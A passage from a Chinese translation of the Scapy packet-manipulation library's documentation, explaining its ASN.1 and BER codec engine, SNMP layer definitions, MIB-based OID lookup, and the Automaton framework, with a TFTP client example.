注意:这里介绍的许多类的定义都用到了元类。如果你不仔细的看源码,只看我的讲解,你可能认为他们有时的行为很神奇。Scapy的ASN.1引擎提供连接对象和他们的标签。它们都继承自`ASN1_Class`。第一个是`ASN1_Class_UNIVERSAL`,它提供的标签是最为通用的标签。每个新的`context`(SNMP,X509)都将继承它,并添加自己的标签。 34 | 35 | ```py 36 | class ASN1_Class_UNIVERSAL(ASN1_Class): 37 | name = "UNIVERSAL" 38 | # [...] 39 | BOOLEAN = 1 40 | INTEGER = 2 41 | BIT_STRING = 3 42 | # [...] 43 | 44 | class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): 45 | name="SNMP" 46 | PDU_GET = 0xa0 47 | PDU_NEXT = 0xa1 48 | PDU_RESPONSE = 0xa2 49 | 50 | class ASN1_Class_X509(ASN1_Class_UNIVERSAL): 51 | name="X509" 52 | CONT0 = 0xa0 53 | CONT1 = 0xa1 54 | # [...] 55 | ``` 56 | 57 | 所有的ASN.1对象都被简单的Python实例表示,并隐藏的原始的值。简单的逻辑被`ASN1_Object`所继承处理。因此他们相当简单。 58 | 59 | ```py 60 | class ASN1_INTEGER(ASN1_Object): 61 | tag = ASN1_Class_UNIVERSAL.INTEGER 62 | 63 | class ASN1_STRING(ASN1_Object): 64 | tag = ASN1_Class_UNIVERSAL.STRING 65 | 66 | class ASN1_BIT_STRING(ASN1_STRING): 67 | tag = ASN1_Class_UNIVERSAL.BIT_STRING 68 | ``` 69 | 70 | 这些实例可以组装并创建一个ASN.1树: 71 | 72 | ``` 73 | >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])]) 74 | >>> x 75 | , , ]]>]]> 76 | >>> x.show() 77 | # ASN1_SEQUENCE: 78 | 79 | 80 | # ASN1_SEQUENCE: 81 | 82 | ``` 83 | 84 | #### 编码引擎 85 | 86 | 作为标准,ASN.1和编码是独立的。我们只看到怎样生成一个组合的ASN.1对象,解码或者编码它我们只需要选择一个解码规则。Scapy目前只提供BER编码规则(事实上,它可能是DER规则,DER看起来像是BER,除了一小部分编码通过授权才可以得到)。我称它为ASN.1编解码器。 87 | 88 | 编码和解码都是编解码器的类方法提供的。比如说`BERcodec_INTEGER` 提供了一个`enc()`和一个`dec()`类方法可以将编码的字符串和其类型的值之间进行转换。它们都继承自`BERcodec_Object`,它能解码任何类型。 89 | 90 | ``` 91 | >>> BERcodec_INTEGER.enc(7) 92 | '\x02\x01\x07' 93 | >>> BERcodec_BIT_STRING.enc("egg") 94 | '\x03\x03egg' 95 | >>> BERcodec_STRING.enc("egg") 96 | '\x04\x03egg' 97 | >>> BERcodec_STRING.dec('\x04\x03egg') 98 | (, '') 99 | >>> BERcodec_STRING.dec('\x03\x03egg') 100 | Traceback (most recent call last): 101 | File "", line 1, in ? 102 | File "/usr/bin/scapy", line 2099, in dec 103 | return cls.do_dec(s, context, safe) 104 | File "/usr/bin/scapy", line 2178, in do_dec 105 | l,s,t = cls.check_type_check_len(s) 106 | File "/usr/bin/scapy", line 2076, in check_type_check_len 107 | l,s3 = cls.check_type_get_len(s) 108 | File "/usr/bin/scapy", line 2069, in check_type_get_len 109 | s2 = cls.check_type(s) 110 | File "/usr/bin/scapy", line 2065, in check_type 111 | (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s) 112 | BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting 113 | ### Already decoded ### 114 | None 115 | ### Remaining ### 116 | '\x03\x03egg' 117 | >>> BERcodec_Object.dec('\x03\x03egg') 118 | (, '') 119 | ``` 120 | 121 | ASN.1对象使用它们的`enc()`方法解码。这个方法必须被我们要使用的编解码器所调用,所有的便把解码器都被`ASN1_Codecs`对象所引用。`str()`也能被用到,在这种情况下,默认的编解码器(`conf.ASN1_default_codec`)也会被用到。 122 | 123 | ``` 124 | >>> x.enc(ASN1_Codecs.BER) 125 | '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' 126 | >>> str(x) 127 | '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' 128 | >>> xx,remain = BERcodec_Object.dec(_) 129 | >>> xx.show() 130 | # ASN1_SEQUENCE: 131 | 132 | 133 | # ASN1_SEQUENCE: 134 | 135 | 136 | >>> remain 137 | '' 138 | ``` 139 | 140 | 默认情况下,解码器使用`Universal`类进行解码,这就意味着在`Context`类中定义的对象将不会被解码,这有一个比较好的原因:这个解码取决于`context`! 141 | 142 | ``` 143 | >>> cert=""" 144 | ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC 145 | ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB 146 | ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg 147 | ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw 148 | ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB 149 | ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg 150 | ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh 151 | ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC 152 | ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs 153 | ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs 154 | ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg 155 | ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ 156 | ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0 157 | ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X 158 | ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml 159 | ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh 160 | ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo 161 | ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ 162 | ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex 163 | ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB 164 | ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA 165 | ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG 166 | ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0 167 | ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF 168 | ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY 169 | ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/ 170 | ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la 171 | ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks 172 | ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5 173 | ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD 174 | ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41 175 | ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H 176 | ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL 177 | ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg= 178 | ... """.decode("base64") 179 | >>> (dcert,remain) = BERcodec_Object.dec(cert) 180 | Traceback (most recent call last): 181 | File "", line 1, in ? 182 | File "/usr/bin/scapy", line 2099, in dec 183 | return cls.do_dec(s, context, safe) 184 | File "/usr/bin/scapy", line 2094, in do_dec 185 | return codec.dec(s,context,safe) 186 | File "/usr/bin/scapy", line 2099, in dec 187 | return cls.do_dec(s, context, safe) 188 | File "/usr/bin/scapy", line 2218, in do_dec 189 | o,s = BERcodec_Object.dec(s, context, safe) 190 | File "/usr/bin/scapy", line 2099, in dec 191 | return cls.do_dec(s, context, safe) 192 | File "/usr/bin/scapy", line 2094, in do_dec 193 | return codec.dec(s,context,safe) 194 | File "/usr/bin/scapy", line 2099, in dec 195 | return cls.do_dec(s, context, safe) 196 | File "/usr/bin/scapy", line 2218, in do_dec 197 | o,s = BERcodec_Object.dec(s, context, safe) 198 | File "/usr/bin/scapy", line 2099, in dec 199 | return cls.do_dec(s, context, safe) 200 | File "/usr/bin/scapy", line 2092, in do_dec 201 | raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) 202 | BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...'] 203 | ### Already decoded ### 204 | [[]] 205 | ### Remaining ### 206 | '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509) 213 | >>> dcert.show() 214 | # ASN1_SEQUENCE: 215 | # ASN1_SEQUENCE: 216 | # ASN1_X509_CONT0: 217 | 218 | 219 | # ASN1_SEQUENCE: 220 | 221 | 222 | # ASN1_SEQUENCE: 223 | # ASN1_SET: 224 | # ASN1_SEQUENCE: 225 | 226 | 227 | # ASN1_SET: 228 | # ASN1_SEQUENCE: 229 | 230 | 231 | # ASN1_SET: 232 | # ASN1_SEQUENCE: 233 | 234 | 235 | # ASN1_SET: 236 | # ASN1_SEQUENCE: 237 | 238 | 239 | # ASN1_SEQUENCE: 240 | 241 | 242 | # ASN1_SEQUENCE: 243 | # ASN1_SET: 244 | # ASN1_SEQUENCE: 245 | 246 | 247 | # ASN1_SET: 248 | # ASN1_SEQUENCE: 249 | 250 | 251 | # ASN1_SET: 252 | # ASN1_SEQUENCE: 253 | 254 | 255 | # ASN1_SET: 256 | # ASN1_SEQUENCE: 257 | 258 | 259 | # ASN1_SEQUENCE: 260 | # ASN1_SEQUENCE: 261 | 262 | 263 | 264 | # ASN1_X509_CONT3: 265 | # ASN1_SEQUENCE: 266 | # ASN1_SEQUENCE: 267 | 268 | 269 | 270 | # ASN1_SEQUENCE: 271 | 272 | 273 | # ASN1_SEQUENCE: 274 | 275 | 276 | # ASN1_SEQUENCE: 277 | 278 | 279 | 280 | # ASN1_SEQUENCE: 281 | 282 | 283 | \xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01 284 | ``` 285 | 286 | #### ASN.1协议层 287 | 288 | 虽然这可能不错,但是只是ASN.1的一个编解码器,和Scapy没有什么关系。 289 | 290 | ##### ASN.1字段 291 | 292 | Scapy提供ASN.1字段,它们封装了ASN.1对象并提供了必要的逻辑绑定对象名到值。ASN.1数据包将会被解析成一棵ASN.1字段树,然后在同一个层面上每一个字段名将会做成一个正常的数据包提供(比如说:为了访问SNMP数据包的版本字段,你不用知道它包装了多少层容器)。 293 | 294 | 每一个 ASN.1字段都会通过它的标签连接到ASN.1对象。 295 | 296 | ##### ASN.1数据包 297 | 298 | ASN.1数据包继承自`Packet`类。而不是一个`fields_desc`序列的字段,它们定义了`ASN1_codec`和`ASN1_root`属性。第一个是一个编解码器(比如说:`ASN1_Codecs.BER`),第二个是一个ASN.1字段的组合树。 299 | 300 | ### 一个完整的例子:SNMP 301 | 302 | SNMP定义了新的ASN.1对象,我们需要定义它们: 303 | 304 | ```py 305 | class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): 306 | name="SNMP" 307 | PDU_GET = 0xa0 308 | PDU_NEXT = 0xa1 309 | PDU_RESPONSE = 0xa2 310 | PDU_SET = 0xa3 311 | PDU_TRAPv1 = 0xa4 312 | PDU_BULK = 0xa5 313 | PDU_INFORM = 0xa6 314 | PDU_TRAPv2 = 0xa7 315 | ``` 316 | 317 | 这个对象是PDU,实际上是一个序列容器的新名称,(这通常是在`context`对象的情况下:他们只是旧的容器有了新的名称),这意味着创建一个相应的ASN.1对象和BER编解码器是很容易的: 318 | 319 | ```py 320 | class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): 321 | tag = ASN1_Class_SNMP.PDU_GET 322 | 323 | class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): 324 | tag = ASN1_Class_SNMP.PDU_NEXT 325 | 326 | # [...] 327 | 328 | class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): 329 | tag = ASN1_Class_SNMP.PDU_GET 330 | 331 | class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): 332 | tag = ASN1_Class_SNMP.PDU_NEXT 333 | 334 | # [...] 335 | ``` 336 | 337 | 元类提供的魔法基于一切都是自动注册和ASN.1对象和BER编解码器都能找到对方的事实。 338 | 339 | ASN.1的字段也是不重要的: 340 | 341 | ```py 342 | class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): 343 | ASN1_tag = ASN1_Class_SNMP.PDU_GET 344 | 345 | class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): 346 | ASN1_tag = ASN1_Class_SNMP.PDU_NEXT 347 | 348 | # [...] 349 | ``` 350 | 351 | 现在,困难的部分,ASN.1数据包: 352 | 353 | ```py 354 | SNMP_error = { 0: "no_error", 355 | 1: "too_big", 356 | # [...] 357 | } 358 | 359 | SNMP_trap_types = { 0: "cold_start", 360 | 1: "warm_start", 361 | # [...] 362 | } 363 | 364 | class SNMPvarbind(ASN1_Packet): 365 | ASN1_codec = ASN1_Codecs.BER 366 | ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), 367 | ASN1F_field("value",ASN1_NULL(0)) 368 | ) 369 | 370 | class SNMPget(ASN1_Packet): 371 | ASN1_codec = ASN1_Codecs.BER 372 | ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), 373 | ASN1F_enum_INTEGER("error",0, SNMP_error), 374 | ASN1F_INTEGER("error_index",0), 375 | ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) 376 | ) 377 | 378 | class SNMPnext(ASN1_Packet): 379 | ASN1_codec = ASN1_Codecs.BER 380 | ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), 381 | ASN1F_enum_INTEGER("error",0, SNMP_error), 382 | ASN1F_INTEGER("error_index",0), 383 | ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) 384 | ) 385 | # [...] 386 | 387 | class SNMP(ASN1_Packet): 388 | ASN1_codec = ASN1_Codecs.BER 389 | ASN1_root = ASN1F_SEQUENCE( 390 | ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), 391 | ASN1F_STRING("community","public"), 392 | ASN1F_CHOICE("PDU", SNMPget(), 393 | SNMPget, SNMPnext, SNMPresponse, SNMPset, 394 | SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) 395 | ) 396 | def answers(self, other): 397 | return ( isinstance(self.PDU, SNMPresponse) and 398 | ( isinstance(other.PDU, SNMPget) or 399 | isinstance(other.PDU, SNMPnext) or 400 | isinstance(other.PDU, SNMPset) ) and 401 | self.PDU.id == other.PDU.id ) 402 | # [...] 403 | bind_layers( UDP, SNMP, sport=161) 404 | bind_layers( UDP, SNMP, dport=161) 405 | ``` 406 | 407 | 这些不会有太大的困难,如果你认为不可能有这么短就能实现一个SNMP编解码器,我可能会删减很多,请看看完整的源代码。 408 | 409 | 现在,如何使用它?通常: 410 | 411 | ``` 412 | >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5), 413 | ... SNMPvarbind(oid="3.2.1",value="hello")])) 414 | >>> a.show() 415 | ###[ SNMP ]### 416 | version= v3 417 | community= 'public' 418 | \PDU\ 419 | |###[ SNMPget ]### 420 | | id= 0 421 | | error= no_error 422 | | error_index= 0 423 | | \varbindlist\ 424 | | |###[ SNMPvarbind ]### 425 | | | oid= '1.2.3' 426 | | | value= 5 427 | | |###[ SNMPvarbind ]### 428 | | | oid= '3.2.1' 429 | | | value= 'hello' 430 | >>> hexdump(a) 431 | 0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!. 432 | 0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*. 433 | 0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello 434 | >>> send(IP(dst="1.2.3.4")/UDP()/SNMP()) 435 | . 436 | Sent 1 packets. 437 | >>> SNMP(str(a)).show() 438 | ###[ SNMP ]### 439 | version= 440 | community= 441 | \PDU\ 442 | |###[ SNMPget ]### 443 | | id= 444 | | error= 445 | | error_index= 446 | | \varbindlist\ 447 | | |###[ SNMPvarbind ]### 448 | | | oid= 449 | | | value= 450 | | |###[ SNMPvarbind ]### 451 | | | oid= 452 | | | value= 453 | ``` 454 | 455 | ### 从MIB解析OID 456 | 457 | #### 关于OID对象 458 | 459 | OID对象是通过`ASN1_OID`类产生的: 460 | 461 | ``` 462 | >>> o1=ASN1_OID("2.5.29.10") 463 | >>> o2=ASN1_OID("1.2.840.113549.1.1.1") 464 | >>> o1,o2 465 | (, ) 466 | ``` 467 | 468 | #### 加载一个MIB 469 | 470 | Scapy可以解析MIB文件并注意到OID和它的名称之间的映射。 471 | 472 | ``` 473 | >>> load_mib("mib/*") 474 | >>> o1,o2 475 | (, ) 476 | ``` 477 | 478 | #### Scapy的MIB数据库 479 | 480 | 所有的MIB信息都被存储在`cong.mib`对象中,这些对象用来寻找一个OID的名称。 481 | 482 | ``` 483 | >>> conf.mib.sha1_with_rsa_signature 484 | '1.2.840.113549.1.1.5' 485 | ``` 486 | 487 | 或者解析一个OID: 488 | 489 | ``` 490 | >>> conf.mib._oidname("1.2.3.6.1.4.1.5") 491 | 'enterprises.5' 492 | ``` 493 | 494 | 甚至可以图形化表示它: 495 | 496 | ``` 497 | >>> conf.mib._make_graph() 498 | ``` 499 | 500 | ## 自动机 501 | 502 | Scapy能够创建一个简单的网络自动机。Scapy不会拘泥于一个特定的模型,像是Moore和Mealy自动机。它为你提供了灵活的方法去选择你想要的。 503 | 504 | Scapy中的自动机是确定性的。他有不同的状态,一个开始状态和一些结束,错误状态,他们从一种状态过渡到另一种状态。过渡可以在一种特殊的状态下过渡,在一个特定的数据包或者超时过渡。当一个过渡被接受了,一个或者多个动作将会运行,一个动作可以被绑定在多个过渡中。参数可以通过从状态到过渡和从过渡到状态和动作中传递。 505 | 506 | 从一个开发者的角度看,状态,过渡和动作都是来自自动机子类的方法。他们都被包装起来提供元信息以供自动机工作。 507 | 508 | ### 第一个例子 509 | 510 | 让我们开始一个简单的例子。我按照惯例用字幕大写编写状态,但是每一个有效的Python语法都会工作的很好。 511 | 512 | ```py 513 | class HelloWorld(Automaton): 514 | @ATMT.state(initial=1) 515 | def BEGIN(self): 516 | print "State=BEGIN" 517 | 518 | @ATMT.condition(BEGIN) 519 | def wait_for_nothing(self): 520 | print "Wait for nothing..." 521 | raise self.END() 522 | 523 | @ATMT.action(wait_for_nothing) 524 | def on_nothing(self): 525 | print "Action on 'nothing' condition" 526 | 527 | @ATMT.state(final=1) 528 | def END(self): 529 | print "State=END" 530 | ``` 531 | 532 | 在这个例子中,我们可以看到三个装饰器: 533 | 534 | `ATMT.state`被用来表示一个方法就是一个状态,并且能用`initial`, `final` 和 `error`可选参数来设置非零的特殊状态。 535 | 536 | `ATMT.condition`用来表示一个方法,当自动机的状态到达指示的状态时将会运行。参数是代表这个状态的函数的名称。 537 | 538 | `ATMT.action`绑定到一个过渡的方法,当一个过渡被接受了该函数就会运行。 539 | 540 | 运行这个例子将会得到下面这个结果: 541 | 542 | ``` 543 | >>> a=HelloWorld() 544 | >>> a.run() 545 | State=BEGIN 546 | Wait for nothing... 547 | Action on 'nothing' condition 548 | State=END 549 | ``` 550 | 551 | 这个简单的自动机可以用下面的这个图描述: 552 | 553 | ![](http://www.secdev.org/projects/scapy/doc/_images/ATMT_HelloWorld.png) 554 | 555 | 这个图可以用下面的代码自动画出: 556 | 557 | ``` 558 | >>> HelloWorld.graph() 559 | ``` 560 | 561 | ### 改变状态 562 | 563 | `ATMT.state`装饰器将方法转换成一个返回一个异常的函数。如果你抛出这个异常,自动机的状态将会被改变。如果这个改变发生在一个过渡中,绑定在这个过渡上的函数将会被调用。给定函数的参数替换的方法将被保留,并最终传递到该方法中。这个异常有一个方法`action_parameters`能在抛出异常前被调用,他将存储参数传递到所有绑定在当前过渡上的动作。 564 | 565 | 作为一个例子,让我们来考虑一下下面的状态: 566 | 567 | ```py 568 | @ATMT.state() 569 | def MY_STATE(self, param1, param2): 570 | print "state=MY_STATE. param1=%r param2=%r" % (param1, param2) 571 | ``` 572 | 573 | 这个状态将会到达下面的代码: 574 | 575 | ```py 576 | @ATMT.receive_condition(ANOTHER_STATE) 577 | def received_ICMP(self, pkt): 578 | if ICMP in pkt: 579 | raise self.MY_STATE("got icmp", pkt[ICMP].type) 580 | ``` 581 | 582 | 让我们假设我们想绑定一个动作到这个状态,这也将需要一些参数: 583 | 584 | ```py 585 | @ATMT.action(received_ICMP) 586 | def on_ICMP(self, icmp_type, icmp_code): 587 | self.retaliate(icmp_type, icmp_code) 588 | ``` 589 | 590 | 这个条件应该被满足: 591 | 592 | ```py 593 | @ATMT.receive_condition(ANOTHER_STATE) 594 | def received_ICMP(self, pkt): 595 | if ICMP in pkt: 596 | raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code) 597 | ``` 598 | 599 | ### 真正的例子 600 | 601 | 这里有一个来自Scapy的真正的例子。他实现了一个TFTP客户端,能够发送和读取请求。 602 | 603 | ![](http://www.secdev.org/projects/scapy/doc/_images/ATMT_TFTP_read.png) 604 | 605 | ```py 606 | class TFTP_read(Automaton): 607 | def parse_args(self, filename, server, sport = None, port=69, **kargs): 608 | Automaton.parse_args(self, **kargs) 609 | self.filename = filename 610 | self.server = server 611 | self.port = port 612 | self.sport = sport 613 | 614 | def master_filter(self, pkt): 615 | return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt 616 | and pkt[UDP].dport == self.my_tid 617 | and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) 618 | 619 | # BEGIN 620 | @ATMT.state(initial=1) 621 | def BEGIN(self): 622 | self.blocksize=512 623 | self.my_tid = self.sport or RandShort()._fix() 624 | bind_bottom_up(UDP, TFTP, dport=self.my_tid) 625 | self.server_tid = None 626 | self.res = "" 627 | 628 | self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() 629 | self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") 630 | self.send(self.last_packet) 631 | self.awaiting=1 632 | 633 | raise self.WAITING() 634 | 635 | # WAITING 636 | @ATMT.state() 637 | def WAITING(self): 638 | pass 639 | 640 | @ATMT.receive_condition(WAITING) 641 | def receive_data(self, pkt): 642 | if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: 643 | if self.server_tid is None: 644 | self.server_tid = pkt[UDP].sport 645 | self.l3[UDP].dport = self.server_tid 646 | raise self.RECEIVING(pkt) 647 | @ATMT.action(receive_data) 648 | def send_ack(self): 649 | self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) 650 | self.send(self.last_packet) 651 | 652 | @ATMT.receive_condition(WAITING, prio=1) 653 | def receive_error(self, pkt): 654 | if TFTP_ERROR in pkt: 655 | raise self.ERROR(pkt) 656 | 657 | @ATMT.timeout(WAITING, 3) 658 | def timeout_waiting(self): 659 | raise self.WAITING() 660 | @ATMT.action(timeout_waiting) 661 | def retransmit_last_packet(self): 662 | self.send(self.last_packet) 663 | 664 | # RECEIVED 665 | @ATMT.state() 666 | def RECEIVING(self, pkt): 667 | recvd = pkt[Raw].load 668 | self.res += recvd 669 | self.awaiting += 1 670 | if len(recvd) == self.blocksize: 671 | raise self.WAITING() 672 | raise self.END() 673 | 674 | # ERROR 675 | @ATMT.state(error=1) 676 | def ERROR(self,pkt): 677 | split_bottom_up(UDP, TFTP, dport=self.my_tid) 678 | return pkt[TFTP_ERROR].summary() 679 | 680 | #END 681 | @ATMT.state(final=1) 682 | def END(self): 683 | split_bottom_up(UDP, TFTP, dport=self.my_tid) 684 | return self.res 685 | ``` 686 | 687 | 他运行起来像是这样,这是实例: 688 | 689 | ``` 690 | >>> TFTP_read("my_file", "192.168.1.128").run() 691 | ``` 692 | 693 | ### 详细的文档 694 | 695 | #### 装饰器 696 | 697 | ##### 状态的装饰器 698 | 699 | 状态是被`ATMT.state`函数结果装饰过的方法。他有三个可选的参数,`initial`,`final`和`error`,当我们设置为`True`时,就意味着这个状态是一个`initial`,`final`或者`error`状态。 700 | 701 | ```py 702 | class Example(Automaton): 703 | @ATMT.state(initial=1) 704 | def BEGIN(self): 705 | pass 706 | 707 | @ATMT.state() 708 | def SOME_STATE(self): 709 | pass 710 | 711 | @ATMT.state(final=1) 712 | def END(self): 713 | return "Result of the automaton: 42" 714 | 715 | @ATMT.state(error=1) 716 | def ERROR(self): 717 | return "Partial result, or explanation" 718 | # [...] 719 | ``` 720 | 721 | ##### 过渡装饰器 722 | 723 | 过渡是被`ATMT.condition`, `ATMT.receive_condition`, `ATMT.timeout`之一的函数结果装饰过的方法。他们都作为他们关联的状态方法的参数。`ATMT.timeout`也有一个强制性的参数timeout用来提供超时的时间秒值。`ATMT.condition`和`ATMT.receive_condition`有一个可选的`prio`参数,因此在这种情况下的调用的顺序是可以被强制提高优先级的。默认的优先级是0。相同的优先级的过渡调用的顺序是不确定的。 724 | 725 | 当自动机切换到一个给定的状态,这个状态的方法将会被执行,然后过渡方法将会在特殊的时刻被调用,直到触发一个新的状态。(有时候像是抛出`self.MY_NEW_STATE()`)。首先,在状态方法返回正确之后,`ATMT.condition`装饰的方法通过提升优先级运行,然后每一个时刻通过主要的过滤器收到和接受的数据包所有的`ATMT.receive_condition`装饰过的方法都会通过提升优先级运行。当一个超时的数据包进入当前的空间,相应的`ATMT.timeout`装饰过的方法将会被调用。 726 | 727 | ```py 728 | class Example(Automaton): 729 | @ATMT.state() 730 | def WAITING(self): 731 | pass 732 | 733 | @ATMT.condition(WAITING) 734 | def it_is_raining(self): 735 | if not self.have_umbrella: 736 | raise self.ERROR_WET() 737 | 738 | @ATMT.receive_condition(WAITING, prio=1) 739 | def it_is_ICMP(self, pkt): 740 | if ICMP in pkt: 741 | raise self.RECEIVED_ICMP(pkt) 742 | 743 | @ATMT.receive_condition(WAITING, prio=2) 744 | def it_is_IP(self, pkt): 745 | if IP in pkt: 746 | raise self.RECEIVED_IP(pkt) 747 | 748 | @ATMT.timeout(WAITING, 10.0) 749 | def waiting_timeout(self): 750 | raise self.ERROR_TIMEOUT() 751 | ``` 752 | 753 | ##### 动作装饰器 754 | 755 | 